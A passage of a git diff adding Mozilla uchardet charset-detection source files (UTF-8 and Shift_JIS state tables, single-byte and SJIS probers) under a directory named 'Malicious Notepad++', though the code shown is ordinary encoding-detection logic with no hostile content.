eUnitMsk4bits, SJIS_cls), + 6, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, SJIS_st), + SJISCharLenTable, + "Shift_JIS"); + + +static const PRUint32 UTF8_cls [ 256 / 8 ] = { +//PCK4BITS(0,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,1,1), // 00 - 07 //allow 0x00 as a legal value +PCK4BITS(1,1,1,1,1,1,0,0), // 08 - 0f +PCK4BITS(1,1,1,1,1,1,1,1), // 10 - 17 +PCK4BITS(1,1,1,0,1,1,1,1), // 18 - 1f +PCK4BITS(1,1,1,1,1,1,1,1), // 20 - 27 +PCK4BITS(1,1,1,1,1,1,1,1), // 28 - 2f +PCK4BITS(1,1,1,1,1,1,1,1), // 30 - 37 +PCK4BITS(1,1,1,1,1,1,1,1), // 38 - 3f +PCK4BITS(1,1,1,1,1,1,1,1), // 40 - 47 +PCK4BITS(1,1,1,1,1,1,1,1), // 48 - 4f +PCK4BITS(1,1,1,1,1,1,1,1), // 50 - 57 +PCK4BITS(1,1,1,1,1,1,1,1), // 58 - 5f +PCK4BITS(1,1,1,1,1,1,1,1), // 60 - 67 +PCK4BITS(1,1,1,1,1,1,1,1), // 68 - 6f +PCK4BITS(1,1,1,1,1,1,1,1), // 70 - 77 +PCK4BITS(1,1,1,1,1,1,1,1), // 78 - 7f +PCK4BITS(2,2,2,2,3,3,3,3), // 80 - 87 +PCK4BITS(4,4,4,4,4,4,4,4), // 88 - 8f +PCK4BITS(4,4,4,4,4,4,4,4), // 90 - 97 +PCK4BITS(4,4,4,4,4,4,4,4), // 98 - 9f +PCK4BITS(5,5,5,5,5,5,5,5), // a0 - a7 +PCK4BITS(5,5,5,5,5,5,5,5), // a8 - af +PCK4BITS(5,5,5,5,5,5,5,5), // b0 - b7 +PCK4BITS(5,5,5,5,5,5,5,5), // b8 - bf +PCK4BITS(0,0,6,6,6,6,6,6), // c0 - c7 +PCK4BITS(6,6,6,6,6,6,6,6), // c8 - cf +PCK4BITS(6,6,6,6,6,6,6,6), // d0 - d7 +PCK4BITS(6,6,6,6,6,6,6,6), // d8 - df +PCK4BITS(7,8,8,8,8,8,8,8), // e0 - e7 +PCK4BITS(8,8,8,8,8,9,8,8), // e8 - ef +PCK4BITS(10,11,11,11,11,11,11,11), // f0 - f7 +PCK4BITS(12,13,13,13,14,15,0,0) // f8 - ff +}; + + +static const PRUint32 UTF8_st [ 26] = { +PCK4BITS(eError,eStart,eError,eError,eError,eError, 12, 10),//00-07 +PCK4BITS( 9, 11, 8, 7, 6, 5, 4, 3),//08-0f +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//10-17 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//18-1f +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe),//20-27 +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe),//28-2f +PCK4BITS(eError,eError, 5, 5, 5, 5,eError,eError),//30-37 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//38-3f +PCK4BITS(eError,eError,eError, 5, 5, 5,eError,eError),//40-47 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//48-4f +PCK4BITS(eError,eError, 7, 7, 7, 7,eError,eError),//50-57 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//58-5f +PCK4BITS(eError,eError,eError,eError, 7, 7,eError,eError),//60-67 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//68-6f +PCK4BITS(eError,eError, 9, 9, 9, 9,eError,eError),//70-77 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//78-7f +PCK4BITS(eError,eError,eError,eError,eError, 9,eError,eError),//80-87 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//88-8f +PCK4BITS(eError,eError, 12, 12, 12, 12,eError,eError),//90-97 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//98-9f +PCK4BITS(eError,eError,eError,eError,eError, 12,eError,eError),//a0-a7 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//a8-af +PCK4BITS(eError,eError, 12, 12, 12,eError,eError,eError),//b0-b7 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError),//b8-bf +PCK4BITS(eError,eError,eStart,eStart,eStart,eStart,eError,eError),//c0-c7 +PCK4BITS(eError,eError,eError,eError,eError,eError,eError,eError) //c8-cf +}; + +static const PRUint32 UTF8CharLenTable[] = {0, 1, 0, 0, 0, 0, 2, 3, + 3, 3, 4, 4, 5, 5, 6, 6 }; + +const SMModel UTF8SMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, UTF8_cls), + 16, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, UTF8_st), + UTF8CharLenTable, + "UTF-8"); + diff --git a/Malicious Notepad++/src/uchardet/nsPkgInt.h b/Malicious Notepad++/src/uchardet/nsPkgInt.h new file mode 100644 index 0000000..abf186d --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsPkgInt.h @@ -0,0 +1,93 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsPkgInt_h__ +#define nsPkgInt_h__ +#include "nscore.h" + +typedef enum { + eIdxSft4bits = 3, + eIdxSft8bits = 2, + eIdxSft16bits = 1 +} nsIdxSft; + +typedef enum { + eSftMsk4bits = 7, + eSftMsk8bits = 3, + eSftMsk16bits = 1 +} nsSftMsk; + +typedef enum { + eBitSft4bits = 2, + eBitSft8bits = 3, + eBitSft16bits = 4 +} nsBitSft; + +typedef enum { + eUnitMsk4bits = 0x0000000FL, + eUnitMsk8bits = 0x000000FFL, + eUnitMsk16bits = 0x0000FFFFL +} nsUnitMsk; + +struct nsPkgInt { + nsIdxSft idxsft; + nsSftMsk sftmsk; + nsBitSft bitsft; + nsUnitMsk unitmsk; + const PRUint32* const data; + nsPkgInt(nsIdxSft a,nsSftMsk b, nsBitSft c,nsUnitMsk d,const PRUint32* const e) + :idxsft(a), sftmsk(b), bitsft(c), unitmsk(d), data(e){} + nsPkgInt(); + nsPkgInt operator= (const nsPkgInt&); +}; + + +#define PCK16BITS(a,b) ((PRUint32)(((b) << 16) | (a))) + +#define PCK8BITS(a,b,c,d) PCK16BITS( ((PRUint32)(((b) << 8) | (a))), \ + ((PRUint32)(((d) << 8) | (c)))) + +#define PCK4BITS(a,b,c,d,e,f,g,h) PCK8BITS( ((PRUint32)(((b) << 4) | (a))), \ + ((PRUint32)(((d) << 4) | (c))), \ + ((PRUint32)(((f) << 4) | (e))), \ + ((PRUint32)(((h) << 4) | (g))) ) + +#define GETFROMPCK(i, c) \ + (((((c).data)[(i)>>(c).idxsft])>>(((i)&(c).sftmsk)<<(c).bitsft))&(c).unitmsk) + +#endif /* nsPkgInt_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsSBCSGroupProber.cpp b/Malicious Notepad++/src/uchardet/nsSBCSGroupProber.cpp new file mode 100644 index 0000000..d8fef87 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsSBCSGroupProber.cpp @@ -0,0 +1,224 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include +#include "prmem.h" + +#include "nsSBCharSetProber.h" +#include "nsSBCSGroupProber.h" + +#include "nsHebrewProber.h" + +nsSBCSGroupProber::nsSBCSGroupProber() +{ + mProbers[0] = new nsSingleByteCharSetProber(&Win1251Model); + mProbers[1] = new nsSingleByteCharSetProber(&Koi8rModel); + mProbers[2] = new nsSingleByteCharSetProber(&Latin5Model); + mProbers[3] = new nsSingleByteCharSetProber(&MacCyrillicModel); + mProbers[4] = new nsSingleByteCharSetProber(&Ibm866Model); + mProbers[5] = new nsSingleByteCharSetProber(&Ibm855Model); + mProbers[6] = new nsSingleByteCharSetProber(&Latin7Model); + mProbers[7] = new nsSingleByteCharSetProber(&Win1253Model); + mProbers[8] = new nsSingleByteCharSetProber(&Latin5BulgarianModel); + mProbers[9] = new nsSingleByteCharSetProber(&Win1251BulgarianModel); + mProbers[10] = new nsSingleByteCharSetProber(&TIS620ThaiModel); + + nsHebrewProber *hebprober = new nsHebrewProber(); + // Notice: Any change in these indexes - 10,11,12 must be reflected + // in the code below as well. + mProbers[11] = hebprober; + mProbers[12] = new nsSingleByteCharSetProber(&Win1255Model, PR_FALSE, hebprober); // Logical Hebrew + mProbers[13] = new nsSingleByteCharSetProber(&Win1255Model, PR_TRUE, hebprober); // Visual Hebrew + // Tell the Hebrew prober about the logical and visual probers + if (mProbers[11] && mProbers[12] && mProbers[13]) // all are not null + { + hebprober->SetModelProbers(mProbers[12], mProbers[13]); + } + else // One or more is null. avoid any Hebrew probing, null them all + { + for (PRUint32 i = 11; i <= 13; ++i) + { + delete mProbers[i]; + mProbers[i] = 0; + } + } + + // disable latin2 before latin1 is available, otherwise all latin1 + // will be detected as latin2 because of their similarity. + //mProbers[10] = new nsSingleByteCharSetProber(&Latin2HungarianModel); + //mProbers[11] = new nsSingleByteCharSetProber(&Win1250HungarianModel); + + Reset(); +} + +nsSBCSGroupProber::~nsSBCSGroupProber() +{ + for (PRUint32 i = 0; i < NUM_OF_SBCS_PROBERS; i++) + { + delete mProbers[i]; + } +} + + +const char* nsSBCSGroupProber::GetCharSetName() +{ + //if we have no answer yet + if (mBestGuess == -1) + { + GetConfidence(); + //no charset seems positive + if (mBestGuess == -1) + //we will use default. + mBestGuess = 0; + } + return mProbers[mBestGuess]->GetCharSetName(); +} + +void nsSBCSGroupProber::Reset(void) +{ + mActiveNum = 0; + for (PRUint32 i = 0; i < NUM_OF_SBCS_PROBERS; i++) + { + if (mProbers[i]) // not null + { + mProbers[i]->Reset(); + mIsActive[i] = PR_TRUE; + ++mActiveNum; + } + else + mIsActive[i] = PR_FALSE; + } + mBestGuess = -1; + mState = eDetecting; +} + + +nsProbingState nsSBCSGroupProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsProbingState st; + PRUint32 i; + char *newBuf1 = 0; + PRUint32 newLen1 = 0; + + //apply filter to original buffer, and we got new buffer back + //depend on what script it is, we will feed them the new buffer + //we got after applying proper filter + //this is done without any consideration to KeepEnglishLetters + //of each prober since as of now, there are no probers here which + //recognize languages with English characters. + if (!FilterWithoutEnglishLetters(aBuf, aLen, &newBuf1, newLen1)) + goto done; + + if (newLen1 == 0) + goto done; // Nothing to see here, move on. + + for (i = 0; i < NUM_OF_SBCS_PROBERS; i++) + { + if (!mIsActive[i]) + continue; + st = mProbers[i]->HandleData(newBuf1, newLen1); + if (st == eFoundIt) + { + mBestGuess = i; + mState = eFoundIt; + break; + } + else if (st == eNotMe) + { + mIsActive[i] = PR_FALSE; + mActiveNum--; + if (mActiveNum <= 0) + { + mState = eNotMe; + break; + } + } + } + +done: + PR_FREEIF(newBuf1); + + return mState; +} + +float nsSBCSGroupProber::GetConfidence(void) +{ + PRUint32 i; + float bestConf = 0.0, cf; + + switch (mState) + { + case eFoundIt: + return (float)0.99; //sure yes + case eNotMe: + return (float)0.01; //sure no + default: + for (i = 0; i < NUM_OF_SBCS_PROBERS; i++) + { + if (!mIsActive[i]) + continue; + cf = mProbers[i]->GetConfidence(); + if (bestConf < cf) + { + bestConf = cf; + mBestGuess = i; + } + } + } + return bestConf; +} + +#ifdef DEBUG_chardet +void nsSBCSGroupProber::DumpStatus() +{ + PRUint32 i; + float cf; + + cf = GetConfidence(); + printf(" SBCS Group Prober --------begin status \r\n"); + for (i = 0; i < NUM_OF_SBCS_PROBERS; i++) + { + if (!mIsActive[i]) + printf(" inactive: [%s] (i.e. confidence is too low).\r\n", mProbers[i]->GetCharSetName()); + else + mProbers[i]->DumpStatus(); + } + printf(" SBCS Group found best match [%s] confidence %f.\r\n", + mProbers[mBestGuess]->GetCharSetName(), cf); +} +#endif diff --git a/Malicious Notepad++/src/uchardet/nsSBCSGroupProber.h b/Malicious Notepad++/src/uchardet/nsSBCSGroupProber.h new file mode 100644 index 0000000..cfbf7e1 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsSBCSGroupProber.h @@ -0,0 +1,70 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsSBCSGroupProber_h__ +#define nsSBCSGroupProber_h__ + + +#define NUM_OF_SBCS_PROBERS 14 + +class nsCharSetProber; +class nsSBCSGroupProber: public nsCharSetProber { +public: + nsSBCSGroupProber(); + virtual ~nsSBCSGroupProber(); + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName(); + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +#ifdef DEBUG_chardet + void DumpStatus(); +#endif + +protected: + nsProbingState mState; + nsCharSetProber* mProbers[NUM_OF_SBCS_PROBERS]; + PRBool mIsActive[NUM_OF_SBCS_PROBERS]; + PRInt32 mBestGuess; + PRUint32 mActiveNum; +}; + +#endif /* nsSBCSGroupProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsSBCharSetProber.cpp b/Malicious Notepad++/src/uchardet/nsSBCharSetProber.cpp new file mode 100644 index 0000000..3a88fdf --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsSBCharSetProber.cpp @@ -0,0 +1,127 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include +#include "nsSBCharSetProber.h" + +nsProbingState nsSingleByteCharSetProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + unsigned char order; + + for (PRUint32 i = 0; i < aLen; i++) + { + order = mModel->charToOrderMap[(unsigned char)aBuf[i]]; + + if (order < SYMBOL_CAT_ORDER) + mTotalChar++; + if (order < SAMPLE_SIZE) + { + mFreqChar++; + + if (mLastOrder < SAMPLE_SIZE) + { + mTotalSeqs++; + if (!mReversed) + ++(mSeqCounters[mModel->precedenceMatrix[mLastOrder*SAMPLE_SIZE+order]]); + else // reverse the order of the letters in the lookup + ++(mSeqCounters[mModel->precedenceMatrix[order*SAMPLE_SIZE+mLastOrder]]); + } + } + mLastOrder = order; + } + + if (mState == eDetecting) + if (mTotalSeqs > SB_ENOUGH_REL_THRESHOLD) + { + float cf = GetConfidence(); + if (cf > POSITIVE_SHORTCUT_THRESHOLD) + mState = eFoundIt; + else if (cf < NEGATIVE_SHORTCUT_THRESHOLD) + mState = eNotMe; + } + + return mState; +} + +void nsSingleByteCharSetProber::Reset(void) +{ + mState = eDetecting; + mLastOrder = 255; + for (PRUint32 i = 0; i < NUMBER_OF_SEQ_CAT; i++) + mSeqCounters[i] = 0; + mTotalSeqs = 0; + mTotalChar = 0; + mFreqChar = 0; +} + +//#define NEGATIVE_APPROACH 1 + +float nsSingleByteCharSetProber::GetConfidence(void) +{ +#ifdef NEGATIVE_APPROACH + if (mTotalSeqs > 0) + if (mTotalSeqs > mSeqCounters[NEGATIVE_CAT]*10 ) + return ((float)(mTotalSeqs - mSeqCounters[NEGATIVE_CAT]*10))/mTotalSeqs * mFreqChar / mTotalChar; + return (float)0.01; +#else //POSITIVE_APPROACH + float r; + + if (mTotalSeqs > 0) { + r = ((float)1.0) * mSeqCounters[POSITIVE_CAT] / mTotalSeqs / mModel->mTypicalPositiveRatio; + r = r*mFreqChar/mTotalChar; + if (r >= (float)1.00) + r = (float)0.99; + return r; + } + return (float)0.01; +#endif +} + +const char* nsSingleByteCharSetProber::GetCharSetName() +{ + if (!mNameProber) + return mModel->charsetName; + return mNameProber->GetCharSetName(); +} + +#ifdef DEBUG_chardet +void nsSingleByteCharSetProber::DumpStatus() +{ + printf(" SBCS: %1.3f [%s]\r\n", GetConfidence(), GetCharSetName()); +} +#endif diff --git a/Malicious Notepad++/src/uchardet/nsSBCharSetProber.h b/Malicious Notepad++/src/uchardet/nsSBCharSetProber.h new file mode 100644 index 0000000..f2d055f --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsSBCharSetProber.h @@ -0,0 +1,130 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is Mozilla Universal charset detector code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 2001 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Shy Shalom + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ +#ifndef nsSingleByteCharSetProber_h__ +#define nsSingleByteCharSetProber_h__ + +#include "nsCharSetProber.h" + +#define SAMPLE_SIZE 64 +#define SB_ENOUGH_REL_THRESHOLD 1024 +#define POSITIVE_SHORTCUT_THRESHOLD (float)0.95 +#define NEGATIVE_SHORTCUT_THRESHOLD (float)0.05 +#define SYMBOL_CAT_ORDER 250 +#define NUMBER_OF_SEQ_CAT 4 +#define POSITIVE_CAT (NUMBER_OF_SEQ_CAT-1) +#define NEGATIVE_CAT 0 + +struct SequenceModel +{ + const unsigned char* const charToOrderMap; // [256] table use to find a char's order + const PRUint8* const precedenceMatrix; // [SAMPLE_SIZE][SAMPLE_SIZE]; table to find a 2-char sequence's frequency + float mTypicalPositiveRatio; // = freqSeqs / totalSeqs + PRBool keepEnglishLetter; // says if this script contains English characters (not implemented) + const char* const charsetName; + SequenceModel(void); + SequenceModel(const unsigned char* const a, const PRUint8* const b,float c,PRBool d,const char* const e) + : charToOrderMap(a), precedenceMatrix(b), mTypicalPositiveRatio(c), keepEnglishLetter(d), charsetName(e){} + SequenceModel& operator=(const SequenceModel&); +} ; + + +class nsSingleByteCharSetProber : public nsCharSetProber{ +public: + nsSingleByteCharSetProber(const SequenceModel *model) + :mModel(model), mReversed(PR_FALSE), mNameProber(0) { Reset(); } + nsSingleByteCharSetProber(const SequenceModel *model, PRBool reversed, nsCharSetProber* nameProber) + :mModel(model), mReversed(reversed), mNameProber(nameProber) { Reset(); } + nsSingleByteCharSetProber(): mModel(0), mReversed(0){}; + virtual const char* GetCharSetName(); + virtual nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + virtual nsProbingState GetState(void) {return mState;} + virtual void Reset(void); + virtual float GetConfidence(void); + virtual void SetOpion() {} + + // This feature is not implemented yet. any current language model + // contain this parameter as PR_FALSE. No one is looking at this + // parameter or calling this method. + // Moreover, the nsSBCSGroupProber which calls the HandleData of this + // prober has a hard-coded call to FilterWithoutEnglishLetters which gets rid + // of the English letters. + PRBool KeepEnglishLetters() {return mModel->keepEnglishLetter;} // (not implemented) + nsSingleByteCharSetProber operator=(const nsSingleByteCharSetProber&) = delete; + +#ifdef DEBUG_chardet + virtual void DumpStatus(); +#endif + +protected: + nsProbingState mState; + const SequenceModel* const mModel; + const PRBool mReversed; // PR_TRUE if we need to reverse every pair in the model lookup + + //char order of last character + unsigned char mLastOrder; + + PRUint32 mTotalSeqs; + PRUint32 mSeqCounters[NUMBER_OF_SEQ_CAT]; + + PRUint32 mTotalChar; + //characters that fall in our sampling range + PRUint32 mFreqChar; + + // Optional auxiliary prober for name decision. created and destroyed by the GroupProber + nsCharSetProber* mNameProber; + +}; + + +extern const SequenceModel Koi8rModel; +extern const SequenceModel Win1251Model; +extern const SequenceModel Latin5Model; +extern const SequenceModel MacCyrillicModel; +extern const SequenceModel Ibm866Model; +extern const SequenceModel Ibm855Model; +extern const SequenceModel Latin7Model; +extern const SequenceModel Win1253Model; +extern const SequenceModel Latin5BulgarianModel; +extern const SequenceModel Win1251BulgarianModel; +extern const SequenceModel Latin2HungarianModel; +extern const SequenceModel Win1250HungarianModel; +extern const SequenceModel Win1255Model; +extern const SequenceModel TIS620ThaiModel; + +#endif /* nsSingleByteCharSetProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsSJISProber.cpp b/Malicious Notepad++/src/uchardet/nsSJISProber.cpp new file mode 100644 index 0000000..0b59e39 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsSJISProber.cpp @@ -0,0 +1,99 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +// for S-JIS encoding, obeserve characteristic: +// 1, kana character (or hankaku?) often have hight frequency of appereance +// 2, kana character often exist in group +// 3, certain combination of kana is never used in japanese language + + +#include "nsSJISProber.h" + +void nsSJISProber::Reset(void) +{ + mCodingSM->Reset(); + mState = eDetecting; + mContextAnalyser.Reset(mIsPreferredLanguage); + mDistributionAnalyser.Reset(mIsPreferredLanguage); +} + +nsProbingState nsSJISProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsSMState codingState; + + for (PRUint32 i = 0; i < aLen; i++) + { + codingState = mCodingSM->NextState(aBuf[i]); + if (codingState == eItsMe) + { + mState = eFoundIt; + break; + } + if (codingState == eStart) + { + PRUint32 charLen = mCodingSM->GetCurrentCharLen(); + if (i == 0) + { + mLastChar[1] = aBuf[0]; + mContextAnalyser.HandleOneChar(mLastChar+2-charLen, charLen); + mDistributionAnalyser.HandleOneChar(mLastChar, charLen); + } + else + { + mContextAnalyser.HandleOneChar(aBuf+i+1-charLen, charLen); + mDistributionAnalyser.HandleOneChar(aBuf+i-1, charLen); + } + } + } + + mLastChar[0] = aBuf[aLen-1]; + + if (mState == eDetecting) + if (mContextAnalyser.GotEnoughData() && GetConfidence() > SHORTCUT_THRESHOLD) + mState = eFoundIt; + + return mState; +} + +float nsSJISProber::GetConfidence(void) +{ + float contxtCf = mContextAnalyser.GetConfidence(); + float distribCf = mDistributionAnalyser.GetConfidence(); + + return (contxtCf > distribCf ? contxtCf : distribCf); +} + diff --git a/Malicious Notepad++/src/uchardet/nsSJISProber.h b/Malicious Notepad++/src/uchardet/nsSJISProber.h new file mode 100644 index 0000000..1efb6e3 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsSJISProber.h @@ -0,0 +1,80 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is 